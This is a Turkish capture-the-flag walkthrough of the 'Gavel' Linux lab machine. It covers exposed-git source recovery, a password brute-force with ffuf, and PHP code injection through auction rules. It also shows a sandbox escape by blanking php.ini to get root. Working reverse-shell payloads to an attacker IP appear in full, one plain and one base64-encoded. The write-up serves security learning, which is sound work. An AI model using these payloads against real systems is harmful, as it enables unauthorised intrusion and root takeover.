Makine Bilgisi #

  • Zorluk: Medium
  • OS: Linux
  • Link: Gavel

pwn3d

Özet #

Sistemde açık arttırma üzerine bir web sitesi sunulmaktadır.

Web sitesinde sitenin kaynak kodu bir git repository’si içerisinde bulunmuştur.

Kaynak kodu içerisinde yapılan teklifin kabulu için dinamik bir php kodu yürütüldüğü tespit edilmiştir.

Yürütülen dinamik kodu auctioneer rolüne sahip kullanıcıların değiştirebileceği görülmüştür.

Sistem üzerinde auctioneer isimli kullanıcının varlığı tespit edilip brute-force yöntemi ile şifresi kırılmıştır.

Sistem üzerine erişim sağlandıktan sonra teklif için test yapılabilecek bir sandbox bulunmuştur.

Bulunan sandbox’ın php kodunu root yetkisi ile çalıştırıdığı tespit edilmiştir.

Sandbox’ta kısıtlanmayan fonksiyonlar kullanılarak tüm kısıtlar kaldırılmıştır.

Kaldırılan kısıtların ardından root yetkisi ile system çağrısı yapılıp, sistem ele geçirilmiştir.


Nmap #

Nmap sonuçlarına baktığımızda 22 portunda bir ssh servisi ve 80 portunda bir web servisi olduğunu görüyoruz. Nmap sonuçlarında Web servisinin bizi http://gavel.htb/ adresine yönlendirdiğini görüyoruz, bu domain’i hosts dosyamıza ekledikten sonra siteyi incelemek üzere devam ediyoruz.

┌─[xenon@parrot]─[~/ctf/gavel]
└──╼ $cat nmap/gavel                                            
# Nmap 7.94SVN scan initiated Sat Nov 29 23:08:56 2025 as: nmap -sC -sV -vv -oN nmap/gavel 10.129.44.49
Nmap scan report for 10.129.44.49
Host is up, received echo-reply ttl 63 (0.017s latency).
Scanned at 2025-11-29 23:08:57 +03 for 7s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
|   256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 29 23:09:04 2025 -- 1 IP address (1 host up) scanned in 7.70 seconds

Web Servisi #

Öncelikte arkaplanda çalışması için gobuster aracımı çalıştırıyorum ve web sitesini ziyaret ediyorum. Web sitesi bir açık arttırma platformu, kayıt olduktan sonra ürünlere teklif yapmaktan başka bir fonksiyon göremedim.

Arkaplanda çalıştırdığım gobuster’in sonuçlarına baktığımda ilgimi direkt .git dizini çekti. Sitenin geliştirildiği kaynak kodu, sitenin çalıştırıldığı dizinde bulunmakta ve erişim kısıtlanmamış.


Normalde nmap tool’u git repository’sini kontrol etmektedir ancak nmap çalıştığında hosts dosyası içerisinde gavel.htb bulunmadığı için nmap’ın çalıştırdığı script bu repo’yu bulamadı.

hosts dosyasını güncelledikten sonra tekrardan nmap’i çalıştırdığımızda git reposunu bulduğunu görüyoruz:

┌─[xenon@parrot]─[~/ctf/gavel]
└──╼ $sudo nmap -sC -sV -p80 10.129.227.176
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-01 14:39 +03
Nmap scan report for gavel.htb (10.129.227.176)
Host is up (0.014s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Gavel Auction
| http-git: 
|   10.129.227.176:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: .. 
|_http-server-header: Apache/2.4.52 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.55 seconds

Gobuster çıktısı ise bu şekildedir:

┌─[xenon@parrot]─[~/ctf/gavel]
└──╼ $cat root.gobuster.out  | grep -v 'Status: 403'
/includes             (Status: 301) [Size: 309] [--> http://gavel.htb/includes/]
/admin.php            (Status: 302) [Size: 0] [--> index.php]
/login.php            (Status: 200) [Size: 4281]
/index.php            (Status: 200) [Size: 14041]
/register.php         (Status: 200) [Size: 4485]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/assets               (Status: 301) [Size: 307] [--> http://gavel.htb/assets/]
/.                    (Status: 200) [Size: 13999]
/rules                (Status: 301) [Size: 306] [--> http://gavel.htb/rules/]
/inventory.php        (Status: 302) [Size: 0] [--> index.php]
/.git                 (Status: 301) [Size: 305] [--> http://gavel.htb/.git/]
/bidding.php          (Status: 302) [Size: 0] [--> index.php]

Kaynak kodunu bilgisayarıma çekmek için git-dumper aracını kullanıyorum. Bu araç bir web sitesi üzerinde açıkta bulunan git repo’larını çekiyor.

Kaynak Kodu #

Sitenin kaynak kodunu incelediğimizde kullanıcıların yaptığı teklif üzerine her bir ürün için belirlenmiş kural bir php kodu olarak ruleCheck isimli fonksiyona atanıp çalıştırılmaktadır (includes/bid_handler.php). Bu kuralların sistemde kullanılan örnekleri rules/default.yaml dosyası içinde bulunmaktadır.

rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."

  - rule: "return $current_bid % 5 == 0;"
    message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

  - rule: "return $current_bid >= $previous_bid + 5000;"
    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

Buradaki message parametresi ise kuralın kullanıcıya yansıtılacak olan kısmıdır.


Bu noktada amacım bir kuralın kodunu değiştirip sistem üzerinde kod çalıştırmak olacaktır. Kaynak kodunda admin.php içerisinde bu kuralları ve mesajları değiştirebileceğimi görüyorum ancak bunun için auctioneer rolüne sahip bir kullanıcı olmam gerekiyor.

if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
    header('Location: index.php');
    exit;
}

Sistem üzerinde sql açıkları arıyorum ancak herhangi bir sql açığı bulamıyorum, son çare olarak bir admin kullanıcısınun şifresini kırmayı planlıyorum.

Öncelikle /register.php sayfasında kayıtlı kullanıcıları tespit edebileceğimi buluyorum, eğer kayıt olmak isteyen kullanıcı ismi zaten kayıtlı ise sistem Username already taken. şeklinde hata vermektedir. Bu bilgi ile önce admin kullanıcısını deniyorum, admin kullanıcısının kayıtlı olmadığı görünce auctioneer kullanıcısını deniyorum ve kayıtlı olduğunu görüyorum. Daha sonra bu kullanıcının şifresini kırmak için ffuf aracını kullanıyorum ve şifreyi kırıyorum.

┌─[xenon@parrot]─[~/ctf/gavel]
└──╼ $ffuf --request login.req -w /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --request-proto http -fs 4562 -o brute-login.ffuf.out

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://gavel.htb/login.php
 :: Wordlist         : FUZZ: /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
 :: Header           : DNT: 1
 :: Header           : Connection: keep-alive
 :: Header           : Cookie: gavel_session=m7cp6aosk52vbn9q65cl42mgp0
 :: Header           : Host: gavel.htb
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Referer: http://gavel.htb/login.php
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Priority: u=0, i
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Origin: http://gavel.htb
 :: Data             : username=auctioneer&password=FUZZ
 :: Output file      : brute-login.ffuf.out
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 4562
________________________________________________

midnight1               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4010ms]
:: Progress: [3885/14344391] :: Job [1/1] :: 9 req/sec :: Duration: [0:06:27] :: Errors: 5 ::

Şifreyi kırdıktan sonra sisteme bu kullanıcı olarak giriş yapıyorum. Admin sayfasına geldikten sonra kural kısmına payloadım olan system("bash -c 'bash -i >& /dev/tcp/10.10.14.187/9001 0>&1'"); return 1; php kodunu yazıp onaylıyorum, nc ile reverse-shell’imi bekleyip teklif sayfasından bir teklif gönderdiğimde reverse-shell’imi alıyorum.


ilk iş sistemdeki kullanıcılara grep 'sh$' /etc/passwd komutu ile bakıyorum ve auctioneer kullanıcısının var olduğunu görüyorum. Daha önceden bulduğum şifre ile giriş yapmayı deniyorum ve başarılı oluyorum. Bu sayede ilk flag’ım olan user.txt dosyasını almış oluyorum.

İlk Erişim #

Sisteme eriştikten sonra bilgi yetki yükseltme için açıkları araştırmaya başlıyorum. Mevcut kullanıcımın gruplarına bakıp yetkim olan dosyaları araştırıyorum ve bir dosya karşıma çıkıyor.

auctioneer@gavel:~$ groups
auctioneer gavel-seller
auctioneer@gavel:~$ find / -type f -group gavel-seller 2>/dev/null 
/usr/local/bin/gavel-util
auctioneer@gavel:~$

Bu dosya direkt PATH değişkenim içinde olduğu için çalıştırıyorum ve ne olduğunu anlamaya çalışıyorum.

auctioneer@gavel:~$ gavel-util 
Usage: gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
auctioneer@gavel:~$ gavel-util stats
=================== GAVEL AUCTION DASHBOARD ===================

[Active Auctions]
ID   Item Name                      Current Bid   Ends In
214  Ethereal Tax Token             1556          01:03
215  Mermaid's Toe                  764           01:03
216  Haunted Quill                  578           01:03

[Recently Ended Auctions]
ID   Item Name                      Final Price   Winner
213  Scroll of Scroll Summoning     875           None
212  Wizard's Expired Library Card  1029          None
211  Ethereal Tax Token             1093          None


auctioneer@gavel:~$ gavel-util invoice
{"status":"err","msg":"Cannot open log"}
auctioneer@gavel:~$ 

stats komutu mevcut açık arttırmalar ile ilgili bilgi veriyor, invoice komutu ise hata veriyor, bu noktada bu hatanın nereden geldiğini ve nasıl çözüceğime çok fazla odaklanmıyorum çünkü submit <file> komutu daha fazla ilgimi çekiyor.

Boş bir dosya oluşturup (0 byte kabul etmiyor) programı çalıştırdığımda gerekli anahtar değerlerin eksik olduğu hatasını veriyor, bu bilgiler doğrultusunda yeni bir yaml dosyası oluşturuyorum. (Aslında /opt/gavel/sample.yaml bize örnek olarak verilmiş ancak sonradan fark ediyorum)

auctioneer@gavel:/dev/shm$ echo '' > test.yaml 
auctioneer@gavel:/dev/shm$ gavel-util submit test.yaml
YAML missing required keys: name description image price rule_msg rule 
auctioneer@gavel:/dev/shm$ 

Oluşturduğum örnek dosya ile programı tekrar çalıştırdığında başarılı mesajı veriyor. Ben arkaplan’da sistemin neler çalıştığını merak ettiğim için sisteme pspy64 aracını yeni bir shell açarak yükleyip programı tekrar çalıştırıyorum.

Yetki Yükseltme #

Çıktıya baktığımda sistem UID=0 yani root yetkileri ile programa girdiğim kuralı da içerecek şekilde php kodu çalıştırmaktadır. Burada __sandbox_eval() fonksiyonunun son statement’ini benim girdiğim kural oluşturmaktadır.

2025/12/01 13:31:24 CMD: UID=1001  PID=36502  | gavel-util submit sample.yaml 
2025/12/01 13:31:24 CMD: UID=0     PID=36503  | /opt/gavel/gaveld 
2025/12/01 13:31:24 CMD: UID=0     PID=36504  | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A';return 1;};$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; } 

Bu noktada önce system komutu ile kod çalıştırmayı deniyorum ama bu komut yasaklı olduğu için hata veriyor, php -c /opt/gavel/.config/php/php.ini parametresi ile çalıştırıldığı için bu config dosyasını kullanıyor. Dosyayı açıp incelediğimde bir çok fonksiyonun kapatıldığını ve sistemin /opt/gavel/ dizininde kısıtlandığını görüyorum.

auctioneer@gavel:/dev/shm$ cat /opt/gavel/.config/php/php.ini 
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
auctioneer@gavel:/dev/shm$ 

Bu noktada bir çok deneme yapıyorum ve en sonunda bu kısıtları atlatıp kod yürüteceğimi buluyorum. Öncelikle, elimdeki bilgiler şu şekilde:

  • Beni kısıtlayan config dosyası /opt/gavel/ dizini içerisinde.
  • php_put_contents fonksiyonu kapalı değil, kullanılabilir.

Bu şekilde düşününce ne yapmam gerektiğini anladım, önce php_put_contents ile config dosyasının içini boşaltacağım, daha sonra beni kısıtlayan hiçbir config olmadığı için direkt system ile root yetkisinde kod çalıştıracağım.

Kullandığım payload’lar içerisindeki kurallar şu şekilde:

  • rule: "file_put_contents('/opt/gavel/.config/php/php.ini', ''); return true;"
  • rule: "system(\"bash -c 'echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODcvOTAwMSAwPiYxJwo= | base64 -d | bash'\"); return true;"

Reverse-shell kısmında base64 encoding kullandım çünkü direkt bash -i syntax’ı sh -i "bash -c şeklinde düzgün çalışmıyordu.

Sonuç şu şekilde:

┌─[xenon@parrot]─[~/ctf/gavel]
└──╼ $nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.227.176 57472
bash: cannot set terminal process group (996): Inappropriate ioctl for device
bash: no job control in this shell
root@gavel:/# cat /root/root.txt
cat /root/root.txt
97428fd5955d286686b39127d0eddaa3
root@gavel:/# 

Ekstra #

Anladığım kadarıyla şifre’nin web üzerinden brute-force yöntemi ile kırılması beklenen yol değilmiş, SQL injection yöntemiyle kullanıcının şifre hash’ini alıp hash’ı kırmamız gerekmekteymiş.

Kaynakçada bu injection’u anlatan bir gönderi bulunmaktadır.

Kaynakça #

Kues, A. (2025, July 21). A novel technique for SQL injection in PDO’s prepared statements. SLCyber Research Center. https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/